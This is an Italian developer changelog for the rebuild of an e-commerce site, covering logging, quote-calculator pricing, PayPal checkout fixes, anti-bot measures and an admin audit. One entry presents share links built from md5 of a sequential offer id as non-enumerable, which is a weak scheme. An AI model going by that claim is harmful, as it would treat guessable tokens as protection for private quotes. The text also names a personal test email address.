  - `CREATE TABLE app_error_log` — log errori API (endpoint, method, error_code, error_message, stack_trace, request_body, admin_id, user_id, ip_address, user_agent, created_at) — nome `app_error_log` per evitare conflitto con `error_log` riservata MySQL

### Logger PHP
- `api/config/logger.php` — adattato dal Gibertini (`includes/logger.php`), due funzioni:
  - `logActivity($db, $adminId, $action, $entityType, $entityId, $details)` — INSERT in `admin_activity_log`, bind_param `ississ`
  - `logError($db, $endpoint, $method, $errorCode, $errorMessage, $stackTrace, $requestBody, $adminId, $userId)` — INSERT in `app_error_log`, bind_param `ssisssiiss`
  - Differenza da Gibertini: tabella errori è `app_error_log` (non `error_log`)

### Logging su tutti gli endpoint CRUD admin (23 file)
- Aggiunti `include_once '../../config/logger.php'` + `$adminId = my_decrypt(...)` + `logActivity(...)` su successo + `logError(...)` nel catch in tutti i file create/update/delete:
  - `api/admin/login.php` — `admin.login` (usa $db2 separato per evitare conflitti)
  - `api/admin/categorie/{create,update,delete}.php` — `categoria.create/update/delete`
  - `api/admin/prodotti/{create,update,delete}.php` — `prodotto.create/update/delete`
  - `api/admin/modelli/{create,update,delete}.php` — `modello.create/update/delete` (pattern $_POST)
  - `api/admin/gallery/{create,update,delete}.php` — `gallery.create/update/delete`
  - `api/admin/immagini/{create,delete}.php` — `immagine.create/delete`
  - `api/admin/video/{create,update,delete}.php` — `video.create/update/delete`
  - `api/admin/ordini/update.php` — `ordine.update` con dettaglio pagato/spedito/annullato
  - `api/admin/offerte/{create,delete}.php` — `offerta.create/delete`
  - `api/admin/trasporti/update.php` — `trasporto.update`
  - `api/admin/vacanze/update.php` — `vacanza.update`
  - `api/admin/bacheca/delete.php` — `bacheca.delete`

## 11/04/2026 — Gestione massiva teli (sotto-dimensioni)

### Nuovi endpoint API
- `api/admin/modelli/sotto_dimensioni.php` (GET ?id_master=X)
  - Restituisce `{ master: {...}, records: [...] }` con master e sotto-dimensioni ordinate per lato1, lato2 DESC
- `api/admin/modelli/nuova_dimensione.php` (POST JSON)
  - Clona il master via tabella temporanea, aggiorna lato1/lato2/prezzi/peso in base a prezzo_u e peso_u
  - Se `prezzo_u = "u"`: prezzi calcolati come lato1 × lato2 × (prezzo/m²)
  - Se `prezzo_u != "u"`: prezzi identici al master
  - disp_mag = 0, disp_web = 0 per la nuova sotto-dimensione
- `api/admin/modelli/aggiorna_disp_batch.php` (POST JSON)
  - Aggiorna disp_mag e disp_web per un array di sotto-dimensioni in un colpo solo
- `api/admin/modelli/variazione_prezzi.php` (POST JSON)
  - Applica variazione % a prezzo/prezzo2/prezzo_r con una sola UPDATE (master + sotto-dim con WHERE id_modello=X OR telo_master=X)

### Modifiche a file esistenti
- `api/admin/modelli/read.php` — aggiunta subquery `n_sottodim` (COUNT sotto-dimensioni per ogni master)
  - Rimosso import `Modello.php`, ora usa prepared statement diretto con subquery
- `admin/modelli.php` — aggiunta colonna "Dim." nella tabella (badge cliccabile)
  - Badge numerico blu per master con sotto-dimensioni, icona layer-group per master senza
  - Aggiunto modal `#sottoDimensioniModal` (modal-xl) con toolbar completa:
    - Form "Nuova dimensione" (lato1, lato2, aggiungi)
    - Pulsanti +1/-1 magazzino e +1/-1 web rapido su tutte
    - Form variazione % prezzi con conferma modale
    - Tabella sotto-dimensioni con riga master in evidenza (table-info)
    - Input number per disp_mag e disp_web per ogni riga
    - Pulsante elimina per singola sotto-dimensione
  - Aggiunto JS: `apriSottoDimensioni`, `sdCaricaDimensioni`, `sdAggiungiDimensione`,
    `sdSalvaDisponibilita`, `sdApplicaVariazione`, `sdIncrementaTutti`, `sdEliminaDimensione`
  - Tutti i colspan aggiornati da 6 a 7
  - Variabili globali: `sdModal`, `sdIdMaster`

---

## 09/06/2026 — Preventivatore: fix prezzo sottoteli (verifica parallela vs live)

Test parallelo nuovo vs live (www.benza.it) sul preventivatore laghi (critico, logica NON toccata).

**Caso 6×10 (standard):**
- Teli: identici al live (PVC6 €294,01; EPDMC56 5,6×10 €610,40 e 5,6×11 €671,44; EPDMC7 €763).
- Sottoteli: DISCREPANZA → nuovo €102,20/€162,40 vs live €118,30/€195,64.

**Causa (da vecchio `prev_risultati.php`, logica provata):** per l'ospite non loggato
i **teli** usano `prezzo2` (scontato) mentre i **sottoteli** usano `prezzo` (pubblico).
Il nuovo `api/pubblico/preventivo/calcola.php` (riga 323) usava `prezzo2 ?: prezzo` anche
per i sottoteli → prezzo scontato errato per gli ospiti.

**Fix:** `calcola.php` riga 323 → `$prezzo_sub = $sub['prezzo'];` (prezzo pubblico).
Verificato: dopo il fix i sottoteli combaciano col live (TNT300 €118,30, TNT500 €195,64).
NB: le protezioni sponde già usavano `prezzo` (corrette). Teli invariati (prezzo2, corretto).

**DA DECIDERE (non un bug introdotto da noi):** per teli oversize (es. 20×30, oltre i rotoli
standard) il NUOVO propone teli su misura (PP/EPDM id_prodotto=4), il LIVE non mostra nulla.
Comportamento divergente storico — da concordare con Benza quale sia quello voluto.

### Preventivatore — chiarimento 20×30 + messaggio cortesia (aggiornamento)
Analisi del codice vecchio (`prev_risultati.php`) simulando il flusso DB:
- Il NUOVO `calcola.php` **replica correttamente** il vecchio, INCLUSA la fallback
  `id_categoria=11` (teli saldati su misura) con `disp_web >= metriq`.
- Per 20×30 (600 m²) la fallback restituisce i teli saldati **EPDM (id 454, disp_web 2400,
  15,45 €/m²)** e **PP (id 480, disp_web 4000, 9,90 €/m²)** — presenti nel DB (sincronizzato
  dal dump). Quindi NON è un bug del nuovo: il vecchio codice + questi dati mostrerebbero gli
  stessi teli. Il LIVE mostra vuoto perché sul DB Aruba questi saldati hanno verosimilmente
  `disp_web`/disponibilità diversi.
  → DA DECIDERE con Benza: mostrarli (come da codice+dump) o nasconderli (come il live ora).
    Se nasconderli: è un intervento sui DATI (`disp_web` dei modelli 454/480), non sul codice.
- Caso davvero senza teli (es. 100×100 = 10.000 m², oltre i saldati): il nuovo mostra un
  **div di cortesia** ("Nessun telo standard per queste misure… Richiedi preventivo
  personalizzato" → contatti). Verificato.

## Scheda prodotto (modello.php) — correzioni parità (2026-07-02)

Verifiche su **model467 (KIT6)** e **model941** confrontando col LIVE benza.it:

- **IVA**: il nuovo mostrava "IVA {n}% esclusa" per i non-teli → BUG inventato. Tutti i prezzi
  del sito sono **IVA compresa** (carrello vecchio: "Totale IVA 22% compresa"; descrizioni:
  "PREZZI COMPRENSIVI DI IVA 22%"). Corretto: `modello.php` mostra sempre **"IVA compresa"**.
  Anche `info_consegne.php` (box costi spedizione) diceva "IVA esclusa" → rimosso il qualificatore.
  NB: le note "listino IVA esclusa" in faq.php sono corrette (riguardano il PDF listino).
- **Label PDF invertite**: il vecchio `modello.php` usa `pdf1`→"Istruzioni", `pdf2`→"Scheda
  tecnica". Il nuovo le aveva scambiate. Corretto. Per model467 (solo pdf1 = manuale Pontec via
  URL esterno) ora mostra "Istruzioni" come il vecchio → la "scheda tecnica" non mancava, era
  solo mislabellata (model467 non ha un pdf2).
- **Elenco puntato descrizione**: il vecchio fa `nl2br($desc_modello)`. Il nuovo usava
  `innerHTML` grezzo → i `•` (bullet + newline, non `<ul>`) collassavano su una riga. Corretto
  con `.replace(/\r\n|\r|\n/g,'<br>')` + classe `.bz-desc-prodotto` in sito.css.
- **Cap quantità** (richiesta cliente): il `+` non può superare `disp_web`. Applicato al box
  acquisto normale E a ogni riga/card dei sotto-teli (input `max`, `+` solo se `v<max`,
  `onchange` clampa a [1,max]). Verificato: disp=3 → +si ferma a 3, scrivendo 99 → riportato a 3.
- **Prezzo 331 vs 299** (model467): NON è un bug. Vecchio loggato come **rivenditore**
  (`prezzo_r`=331), nuovo loggato come **cliente normale** (`prezzo2`=299, `bz_rivenditore="0"`).
  Logica identica e corretta. NB: per questo prodotto prezzo_r > prezzo2 (dato a DB).

## Spedizione = data di consegna + URL parlante scheda (2026-07-02)

- **Spedizione**: il vecchio mostra la DATA di consegna calcolata (es. "giovedì 23 luglio 2026"),
  non "X gg lav.". La funzione `calcolaSpedizione` era già copiata intatta in
  `api/config/spedizione_helper.php` ma non usata. Ora `api/pubblico/modelli/read_one.php`
  calcola `spedizione_consegna` (pubblico → non isola) per il modello e ogni sotto-telo, e
  `modello.php` la mostra in entrambi i box (prodotto normale + telo "Scegli la dimensione").
  Verificato: model467 → "giovedì 23 luglio 2026" (identico al live), model941/model345 →
  "venerdì 10 luglio 2026". `IntlDateFormatter` it_IT funziona sul NAS.
- **URL parlante scheda**: `modello?m=ID` non era parlante. Ora `modello.php`, dopo il fetch,
  fa `history.replaceState` a `model{id}-slug` (stessa forma dei link catalogo) + `<link
  rel=canonical>`. Verificato su model941/467/345. NB: cod lowercase (kit6) vs live uppercase
  (KIT6) — router ignora lo slug, funzionalmente identico.

## Breakpoint responsive tabella→card: da <576px a <768px (2026-07-02)

Il passaggio tabella→div/card avveniva solo su mobile (`max-width:575.98px`). Anche -sm
(576-767px) è troppo stretto per la tabella (tasto "Aggiungi" tagliato). Spostato il breakpoint
a `max-width:767.98px`: tabella da -md in su (≥768px), card sotto. Vale sia per la lista modelli
di `categoria.php` (`.bz-model-card`) sia per la tabella dimensioni di `modello.php`
(`.bz-dim-card`). Verificato: 580/606px → card (Aggiungi a larghezza piena), 788px → tabella.

## Form registrazione: provincia filtrabile + regione/isola derivate (2026-07-02)

Richiesta cliente: niente testo libero per la provincia, niente doppia digitazione
provincia+regione (rischio incoerenza), isola automatica, ortografia con accenti veri.

- **Dataset province**: nuovo `api/pubblico/province/read.php` che serve `province.json`
  (114 province con cod/nome/id_regione/isola), bundle-ato nel sito (nessuna dipendenza dal
  DB gestionale a runtime → funziona anche su Aruba). Generato da `or_province` (gestionale)
  join `regioni` (sito); normalizzati 3 nomi regione (Trentino/Friuli/Emilia con trattino);
  isola=1 per Sicilia+Sardegna (18 province).
- **login.php**: provincia = `<select>` con **Tom Select** (CDN + SRI) filtrabile, mostra
  "Nome (SIGLA)", salva la sigla. Regione (`regRegione`) e isola (`regIsola`) diventano input
  **hidden** derivati automaticamente dalla provincia scelta (via `PROVINCE_MAP`). Stessa
  select anche per la provincia di spedizione. Rimossa la vecchia select regioni + checkbox isola.
- **Ortografia**: "Città", "novità", "Hai già un account?" (niente più apostrofo-accento).
- Submit: `isola` letto da `.value` (era `.checked`); aggiunto check "Seleziona la provincia".
- Verificato: Catania→regione 15 (Sicilia)+isola 1; Imperia→regione 8+isola 0; ricerca "tor"→Torino.
- DA VALUTARE: applicare lo stesso pattern alla pagina profilo utente (stessa logica provincia).

## Pagina di cortesia post-registrazione (2026-07-02)

Dopo la registrazione l'utente restava sul form (non sapeva che fare). Ora:
- Nuova `registrazione_avvenuta.php` (stile sito: header + bz-info-card centrata) con icona busta,
  "Registrazione completata! Controlla la tua email per attivare l'account." + nota spam +
  bottoni "Vai all'accesso" / "Torna alla home".
- `login.php doRegistrazione`: al successo fa `window.location.href = 'registrazione_avvenuta'`
  (invece del messaggio inline). URL pulita servita dal router (il .php fa 301→pulita).

Test registrazione manuale (utente reale Paolo, id 3110): provincia IM → s_reg=8/isola=0 derivati OK;
associato per email al cliente gestionale esistente 9237 (no doppione). Flusso completo verificato.

## Fix messaggio login per account non attivato (2026-07-02)

Provando il login con un account appena registrato (status=0) usciva "Email o password non
corretti." invece di "Account in attesa di attivazione". Causa: `Utente::verificaLogin()`
faceva `if ($utente['status'] != 1) return false;` PRIMA di controllare la password → l'API
cadeva nel ramo !$row (credenziali errate) e il messaggio dedicato in login.php (status==0)
era codice morto. Fix: rimosso il controllo status da verificaLogin (verifica solo la
password); lo status lo gestisce login.php (status 0 → "in attesa di attivazione", -1 →
"disattivato"). Verificato via API: pwd giusta+status0 → "in attesa di attivazione"; pwd
errata → "Email o password non corretti".

## Provincia filtrabile anche nel profilo utente (utente_dati.php) (2026-07-02)

Stesso pattern della registrazione applicato a utente_dati.php: provincia = Tom Select filtrabile
(fatturazione + spedizione), regione/isola derivate nascoste, "Città" corretto. Pre-selezione
della provincia esistente su load (`tsFat.setValue(u.prov)` dopo await del caricamento lista).
Aggiunto `s_reg`/`isola` a `Utente::update()` (bind sssssssssssssiisi) e a
`api/utenti/profilo/update.php` (prima non venivano salvati → provincia/regione incoerenti dopo
una modifica). Verificato: update prov=CT → DB s_reg=15/isola=1; profilo ricaricato mostra
"Catania (CT)" pre-selezionato + regione/isola derivate.

Nota: la voce sidebar "Messaggi" (utente_bacheca) NON è inventata — il vecchio sito aveva la
bacheca (bacheca.php/messaggio.php + tabelle `bacheca`/`messaggi`): sistema messaggi utente↔staff,
migrato fedelmente. Da decidere col cliente se mantenerla.

## Bacheca "Messaggi" = board interno staff, gated su bacheca=1 (2026-07-02)

Scoperto (leggendo www.benza.it/bacheca-messaggi) che la voce "Messaggi" NON è chat clienti ma
il BOARD INTERNO dei dipendenti Benza (dati riservati). Nel vecchio era gated su flag
`utenti.bacheca=1` (13 utenti staff); nel nuovo era mostrata a TUTTI e come chat per-utente.
Reimplementata come il vecchio (board condiviso) con gate a 3 livelli:
- Login API + doLogin salvano `bz_bacheca` in sessionStorage.
- Sidebar: voce "Bacheca" `display:none !important` (Bootstrap .d-flex è !important), mostrata via
  JS `removeProperty('display')` solo se bz_bacheca=1. Tolta dal profilo standard.
- `utente_bacheca.php`: redirect a `utente` se bz_bacheca≠1.
- API `bacheca/read.php` (ora `readAll` con autore) + `create.php`: verifica server-side
  `utenti.bacheca=1` → 403 altrimenti. Verificato: bacheca=0 → sidebar nascosta, pagina redirige,
  endpoint 403; bacheca=1 → link visibile.
Vedi memoria [[reference_bacheca_staff]].

## Passata ortografica site-wide: accenti-apostrofo → accenti veri (2026-07-02)

Corrette tutte le parole accentate scritte con apostrofo (e'→è, puo'→può, gia'→già, piu'→più,
citta'→città, quantita'→quantità, disponibilita'→disponibilità, ecc.) su tutto il sito.
Metodo: script Python con **allowlist** di parole accentate italiane + guardie anti-codice
(esclude token racchiusi tra apici tipo getElementById('quantita'), e preceduti da ./-/"), su
pagine, messaggi API e commenti. Due passate: `word'` (116 correzioni, 51 file) e `word\'`
escapato nelle stringhe JS (8 correzioni, 6 file) = **124 totali**. Verificato: lint OK su tutti
i .php, 0 occorrenze residue, rendering UTF-8 corretto (no mojibake). NON toccati gli apostrofi
legittimi (l', un', dell', po', d'acqua) né gli identificatori di codice.
REGOLA: nel nuovo contenuto usare sempre à/è/é/ì/ò/ù, mai l'apostrofo come accento.

## Carrello: quantità/stock, badge, allineamento, tempi di consegna (2026-07-02)

Riprodotto il sistema del vecchio sito (invariato da 15 anni). Punti:
- **Stock NON riservato/decrementato** (disp_web indicativo, gestito a mano da Benza). Aggiungere
  l'ultimo pezzo non lo prenota; nessun altro viene bloccato.
- **Quantità ≤ disp_web**: `Carrello::addOrUpdate` ora fa `min(precedente+richiesta, disp_web)` con
  flag `limitato` (come il vecchio carrello-add.php). `add.php` restituisce quantita_carrello/
  disp_web/limitato → modello.php mostra **tooltip rosso** se limitato (prima sempre verde).
  Cap anche nel carrello: `Carrello::updateQuantita` clampa server-side, input con max=disp_web.
- **Badge header**: `common.js window.aggiornaBadgeCarrello()` legge il carrello e mostra il totale
  pezzi su OGNI pagina (persiste anche dentro il carrello); login salva `bz_bacheca`... no →
  l'API login restituisce bacheca; il badge usa `window.BZ_API_URL` esposto in header_pub.php.
  Riposizionato sull'angolo della shopping bag (CSS top:-7px right:1px).
- **Controlli quantità carrello**: `.bz-cart-item` da flex a **grid** (1fr auto 96px 28px) →
  quantità e prezzi allineati in colonna; widget quantità small (bz-qty-sm).
- **Tempi di consegna** (come il vecchio): `carrello/read.php` raggruppa gli articoli per
  (sped1,sped2) e calcola la data con `calcolaSpedizione` (isola dell'utente); se tutti uguali una
  riga "Consegna prevista entro/dal [data]", altrimenti una riga per gruppo coi codici. Reso in un
  box nel carrello. Verificato: "Consegna prevista entro venerdì 10 luglio 2026" (identico al live).

## Checkout, obbligatorietà campi fiscali/anagrafici, anti-bot (2026-07-03)

Sessione post-PayPal. Punti:
- **Provincia checkout (Tom Select) andava a capo**: causa = box più stretto (dentro `col-lg-7`) che
  faceva sommare item + input `min-width` oltre la larghezza → wrap. Fix duplice: (1) layout
  `checkout.php` CAP `col-md-2` / Città `col-md-5` / Provincia `col-md-5` (più spazio alla provincia);
  (2) CSS `sito.css` `.ts-wrapper.single.bz-form-control .ts-control{flex-wrap:nowrap}` + input
  `min-width:0; flex:1 1 0` → l'input di ricerca non manda più a capo l'item. Verificato: seleziona
  "Cagliari (CA)" su una riga, spese ricalcolate 68,80→89,44 €.
- **Provincia "Forli'-Cesena" → "Forlì-Cesena"** in `api/pubblico/province/province.json` (accento reso
  come apostrofo). Le altre due con apostrofo (Reggio Nell'Emilia, L'Aquila) sono corrette.
- **Banner "Paga in 3 rate" nel riepilogo del checkout**: aggiunto `<paypal-message id=bz-msg-checkout>`
  sotto il Totale + `require includes/paypal_front.php`; amount agganciato a `mostraSpeseCheckout`
  (si aggiorna al cambio provincia/spese). Verificato: "Paga fino a 24 rate" su totale 4.513 €.
- **Fattura**: indagine sul vecchio (`ordine_anteprima.php`/`ordine-carrello.php`): la scelta
  Scontrino/Fattura era **commentata**, ogni ordine era `$fattura="FATTURA"`; nessun CF/P.IVA chiesto
  al checkout, la fattura stampava `utente.cod_fis` (campo unico CF **o** P.IVA). Nel nuovo la scelta
  Scontrino/Fattura c'è (miglioria richiesta), CF resta dal profilo.
- **Cod. Fiscale/P.IVA reso OBBLIGATORIO** (come il vecchio, che lo imponeva in registrazione JS): in
  `login.php` (registrazione) e `utente_dati.php` (profilo) `required` + validazione JS; server-side in
  `api/utenti/registrazione.php` e `api/utenti/profilo/update.php` (400 se vuoto).
- **Audit obbligatorietà campi (vecchio vs nuovo)** e allineamento: il vecchio richiedeva anche
  **Telefono** e, per l'indirizzo, **Via+Città (fatt. e sped.)**. Allineati: registrazione → Telefono
  `required`, e se "indirizzo di spedizione diverso" via/città/provincia obbligatori (JS). Profilo →
  Via, Telefono, Città (fatt.) e Via, Città (sped.) `required`. Restano opzionali CAP e (nel profilo)
  Provincia, come il vecchio. Provincia in registrazione già obbligatoria (≈ vecchio `s_reg` regione).
- **Anti-bot (strati gratuiti, scelta utente)**: (1) **honeypot** campo nascosto `website` in
  `login.php` — se compilato la registrazione è rifiutata (client + server); (2) **timing**: invio in
  < 3s = bot (client `bzRegLoadedAt` + server `elapsed_ms`); (3) **rate limit** registrazione stretto
  in `api/config/headers.php` (5 req/min per IP, prima 120). Rimosso il **reCAPTCHA v3 di Google**
  (caricava lo script ma non veniva mai eseguito: codice morto + privacy). La protezione forte resta
  l'**attivazione via email** (utente `status=0` finché non clicca il link) già presente.

## Footer: contatti reali (2026-07-03)

`footer_pub.php`: sostituiti i contatti (prima 2 telefoni coi link `tel:` **troncati** e email fittizia
`contatti@benza.it`). Ora i 4 contatti reali dal vecchio (`contatti_form.php`/`info_contatti.php`):
0184 501855, 0184 575246, **WhatsApp 333 246 2564** (`wa.me/393332462564`, aggiunto, prima mancava),
**preventivi@benza.it** (email generale, unico account che funziona dal NAS). Link `tel:+39...` corretti.

## Bugfix: salvataggio profilo "Errore di connessione" (2026-07-03)

Salvando il profilo (`/utente_dati`) → HTTP **500 con body vuoto** → il frontend fa `response.json()`
su vuoto → "Errore di connessione". Causa (bug pre-esistente, non delle modifiche di oggi): l'include
del sync gestionale usava un path con **`api` doppio** → `dirname(__DIR__,2) . '/api/config/...'` da
`api/utenti/profilo` risolve a `api/api/config/...` (inesistente) → `new GestionaleSync()` fatal
`\Error "Class not found"`, non intercettato dal `catch (Exception)` (che non prende gli `\Error`).
Fix: path corretto `'/config/gestionale_helper.php'` e `catch (\Throwable)` sul blocco sync (best-effort,
non deve mai bloccare il salvataggio) + sul catch esterno. **Stesso bug** trovato e corretto in
`api/pubblico/contatti/send.php` e `api/pubblico/preventivo/send.php` (avrebbero fallito l'invio quando
scatta il sync). Verificato: profilo → 200 "Profilo aggiornato" e messaggio verde in UI.

## Test pagamento PayPal end-to-end + email (2026-07-03)

Primo pagamento sandbox completo (ordine #1596, 4.513,65 €). Bug trovati e corretti durante il test:
- **locale `it_IT` → `it-IT`** (`paypal.php` + `Accept-Language` in `paypal_helper.php`): PayPal Orders v2
  rifiuta `it_IT` (INVALID_PARAMETER_SYNTAX), vuole il BCP-47 col trattino.
- **ITEM_TOTAL_MISMATCH**: `createOrder` metteva il TOTALE (merce+spedizione) in `amount.breakdown.item_total`,
  ma PayPal esige item_total = somma (unit_amount×quantity) = solo MERCE. Fix in `paypal_helper.php`:
  item_total = somma articoli, spedizione (importo − item_total) nel campo separato `breakdown.shipping`
  (aggiunto solo se > 0; amount.value = item_total + shipping).
- Flusso verificato: bottoni "Paga con PayPal" + "Paga a rate" (rate lunga idonea a 4.513 €, "3 rate"
  correttamente NON disponibile perché > 3.000 €), popup buyer sandbox, cattura → `pagato=1`, pagina
  "Ordine confermato". La selezione metodo in `ordine_riepilogo.php` è un link `?pay=paypal` (server-side).

**Email ordine/pagamento riviste (richiesta utente):**
- L'email di **conferma ordine** (`emailConfermaOrdine`, alla creazione) NON mostra più "Metodo di
  pagamento" (alla creazione il pagamento non è ancora avvenuto). Rimosso il parametro `$pagamento`.
- Nuova email **"Pagamento ricevuto"** (`emailPagamentoRicevuto`, breve, senza riepilogo articoli) inviata
  da `paypal_capture.php` dopo la cattura riuscita: "l'ordine #X è stato correttamente saldato". Così la
  promessa della pagina `ordine_conferma` ("Riceverai un'email di conferma") è finalmente mantenuta.
- Email SMTP verificate funzionanti dal progetto (test_mode → solo paoloalby@hotmail.com, account
  `preventivi@benza.it` via smtps.aruba.it:465).

## Metodo pagamento: scrivere solo al saldo effettivo (2026-07-03)

Test bonifico/contrassegno (ordine #1598, cod_ordine gestionale 12305). Chiarito il flusso e corretti 2 punti:
- **`imposta_pagamento.php`**: il metodo NON va persistito alla selezione per **bonifico/contrassegno**
  (l'utente potrebbe cambiare idea e pagare con PayPal → `ordini.pagamento` resterebbe errato). Ora
  persiste `pagamento` solo per i metodi **online in-sessione** (paypal/carta); valida comunque tutto
  (incluso "contrassegno ammesso?"). Per bonifico/contrassegno sarà il **gestionale** a scrivere il
  metodo via write-back quando incassa (come faceva `ordini_clienti/nuovo_stato_db.php`, cat.6 →
  `Benza_sito.ordini` `pagato=1, pagamento=?, data_pagamento=NOW()`). Write-back nel nuovo gestionale
  `ordini_clienti_26` = ancora DA FARE (vedi memoria sync).
- **Bug mappa metodi in `registraPagamento`**: `contrassegno` era mappato a `3` ma nella tabella
  `or_pagamenti` **3=Postepay**, **8=Contrassegno**. Corretto →8. (Codici: 1=Paypal, 2=Bonifico,
  3=Postepay, 4=Carta, 5=Contanti, 6=Assegno, 7=RIBA, 8=Contrassegno, 9=eBay.)
- Verificato: `or_ordini` del gestionale non ha campo "metodo", traccia solo importi (`pagato`/
  `da_saldare`); il metodo sta in `or_stati.cod_pagamento`. Sync ordine→gestionale confermata di nuovo
  (1596→#12303 pagato, 1598→#12305 da saldare, visibili nel gestionale).

## Bugfix admin: loop di redirect login/dashboard (2026-07-03)

`admin/index.php` dava **ERR_TOO_MANY_REDIRECTS**. Causa: incoerenza tra i due controlli di sessione.
`admin/login.php` considera "già loggato" la sola presenza di `$_SESSION['adm_login_string']`
(`!empty(...)`), mentre `checkAdminLogin()` (`includes/auth.php`) valida davvero il JWT via
`validate_token.php`. Con un token **stantio** (cookie/sessione presente ma JWT non più valido — es.
dopo il rafforzamento/rigenerazione delle chiavi JWT admin): index→login (adminLogged=false),
login→index (stringa non vuota) → loop. Fix: nel ramo else di `checkAdminLogin()`, **pulire
`$_SESSION['adm_login_string']`/`adm_last_refresh` e scadere il cookie** prima del redirect a login,
così login.php vede la sessione vuota e mostra il form. Verificato: index ora atterra sul form di login.

## Gallery frontend: layout informativo (foto + titolo + descrizione) (2026-07-03)

Benza vuole INFORMARE, non solo mostrare foto. Il vecchio `benza.it/gallery-...` è una lista verticale:
per ogni foto titolo numerato + immagine (click→HQ) + descrizione lunga sempre visibile. Il nuovo
`gallery_view.php` era invece solo una griglia di thumbnail con lightbox (didascalia = solo titolo,
descrizione persa). Ridisegnato in **righe alternate** (foto ↔ testo, lato che si alterna): per ogni
immagine badge numero + `nome_immagine` (titolo) + `descrizione` (HTML redazionale via innerHTML, grassetti
inclusi) + link "Vedi in alta risoluzione" → lightbox HD (mantenuto). CSS nuovo in `sito.css`
(`.bz-gallery-entries`/`.bz-gallery-entry*`), responsive (stack su mobile, immagine sempre sopra).
Immagini da `files/immagine-N-thmb.jpeg`/`-hq.jpeg` (campi `immagine_thmb`/`immagine_hq`/`nome_immagine`/
`descrizione` di `web_immagini`; NB il frontend usa questi, l'admin invece usava campi errati → vedi TODO admin).
Verificato su gallery #1 (Vasche prefabbricate): righe alternate + descrizioni complete + lightbox OK.

## Admin gallery immagini: fix caricamento, layout, upload (2026-07-03)

Le foto non si caricavano nell'admin: il JS usava campi/percorso errati (`nome_file`/`img.url`/
`uploads/gallery/`) invece dei reali (`web_immagini.immagine_thmb`/`nome_immagine` + path `files/`,
come il frontend). Corretto (`gallery_immagini.php`): src = `SITE_BASE + 'files/' + immagine_thmb`,
titolo/alt = `nome_immagine`. **Layout**: i 2 bottoni ("Torna alle Gallery" / "Carica Immagine") su
una riga, titolo gallery su riga nuova sotto. **Upload form**: aggiunti Nome immagine + Descrizione
(textarea) + selettore Gallery (default = gallery corrente, popolato da admin/gallery/read.php);
`uploadImmagine()` invia nome_immagine/descrizione/id_gallery scelto. **create.php**: le nuove immagini
ora salvano in `/files/` (prima `api/uploads/immagini/{id}/`, che il display non guarda → invisibili).
Verificato: griglia foto OK, form upload completo. RESTA: modifica (matita+modale nome/descr/sposta-
gallery + `update.php` + `Gallery::updateImmagine`), drag&drop riordino foto e lista gallery (+ endpoint
riordino), generazione thumbnail reale sull'upload (ora immagine=thmb=hq uguali).

## Admin gallery immagini: modifica (matita) + drag&drop foto (2026-07-03)

Completata la CRUD immagini nell'admin. **Modifica (#4)**: icona matita su ogni foto → modale
(anteprima, nome_immagine, descrizione, selettore gallery per SPOSTARE). Nuovo endpoint
`api/admin/immagini/update.php` + `Gallery::updateImmagine($id, $id_gallery, $nome, $descr, $tags)`.
Verificato: modale popolata + salvataggio 200. **Drag&drop foto (#3)**: SortableJS (CDN, con SRI
sha384 calcolato), `col.dataset.id`, `onEnd`→`salvaOrdineImmagini`→POST `api/admin/immagini/riordina.php`
(setta `ordinamento` = 10,20,30…) + `Gallery::setOrdinamentoImmagine`. Verificato: endpoint 200 e ordine
persistito (rilettura dal DB). RESTA per la gallery: **#2 drag&drop della LISTA gallery** (`admin/gallery.php`,
tabella → div ordinabili, persistere `web_gallery.ordine`) e la generazione thumbnail reale sull'upload.

## Admin gallery: drag&drop lista gallery (#2) (2026-07-03)

`admin/gallery.php`: convertita da tabella (colonne ID/Nome/Immagini/Ordine/Visibile/Azioni) a **lista
di div ordinabili** (card con maniglia `.bz-drag-handle`, nome, badge n° immagini, badge Visibile/Nascosta,
bottoni gestisci-immagini + modifica). Rimosse le colonne ID e Ordine (l'`ordine` è nascosto a Benza: il
campo del modal è ora `hidden`, nuove gallery ordine=9999 → in fondo). Drag&drop via SortableJS (handle) →
POST `api/admin/gallery/riordina.php` (ordine=10,20,30…) + `Gallery::setOrdine`. Verificato: 200, 19 gallery,
ordine persistito. **Gallery ora completa**: frontend informativo + admin immagini (load/upload/modifica/
drag&drop) + admin lista (drag&drop). Bonus rimasto: generare thumbnail reale sull'upload (ora thmb=full).

## Audit completo Admin: parità col vecchio + fix CRUD rotti (2026-07-03)

Audit sistematico di **tutte le sezioni admin** (vecchio online vs nuovo) via agenti paralleli, poi fix
di tutto ciò che mancava o era rotto. Sezioni: Dashboard, Categorie, Prodotti, Modelli, Video, Clienti,
Offerte, Giacenze, Carrelli, Trasporti, Vacanze (Gallery già fatta in precedenza).

**MODELLI (era CRUD morto):**
- `Modello::create()`/`update()`: **bind_param con numero tipi sbagliato** (24 tipi per 25 var; 25 per 26)
  → ogni salvataggio HTTP 500. Corretto: `issisdddisdsiissddiiiiiii` (25) / `+i` per la WHERE (26).
- Modal `admin/modelli.php` con campi mappati male sullo schema: `prezzo_u`/`peso_u` ora **select u/m²**
  (erano numerici → troncati a 'c'/'k', rompevano il ricalcolo m² delle sotto-dimensioni), `disp_web` ora
  **numero (stock)** (era select Sì/No → azzerava lo stock), `desc_vis` **select 0/1** (era testo),
  `alternativa`/`telo_master` **select popolati coi modelli del prodotto** (erano testo/Sì-No → corrompevano
  la gerarchia master↔sotto-teli). Endpoint create/update: default `prezzo_u`/`peso_u`='u', `alternativa` int.
- `read.php`: `id_prodotto` opzionale (opzione "Tutti i prodotti"); pagina default sul 1° prodotto (no 1600 righe).
- `data_agg=NOW()` nell'update. Aggiunti `Modello::countAll()`, `readSelectByProdotto()`, `readReportTeli()`.
- Link "Gestisci modelli" dai Prodotti: `modelli.php?id_prodotto=N` preseleziona il filtro.

**OFFERTE (erano fraintese come coupon %):** un'offerta è un **preventivo personalizzato** (carrello di
modelli), non un coupon. `sconto`=€ sconto, `importo`=totale finale (la pagina pubblica era già corretta).
Riscritto `admin/offerte.php` con **builder articoli** (ricerca modello via nuovo `api/admin/modelli/search.php`,
qty, aggiungi/rimuovi via `articolo_add.php`/`articolo_del.php`, subtotale, sconto derivato). Link condivisione
ora **non enumerabile** `offerta?o={md5(id)}` (era `?id=N` in chiaro): `Offerta::readByHash()`, hash in
read/read_one, pubblico `offerta/read.php?o=` + front `offerta.php`. `create/update`: validità default +30gg.

**CLIENTI (solo 50/1669 visibili, flag ingestibili, modal rotto):** `admin/clienti.php` con **ricerca+
paginazione server-side** (era client-side sui 50) + totale reale. **Toggle Rivenditore e Bacheca** inline
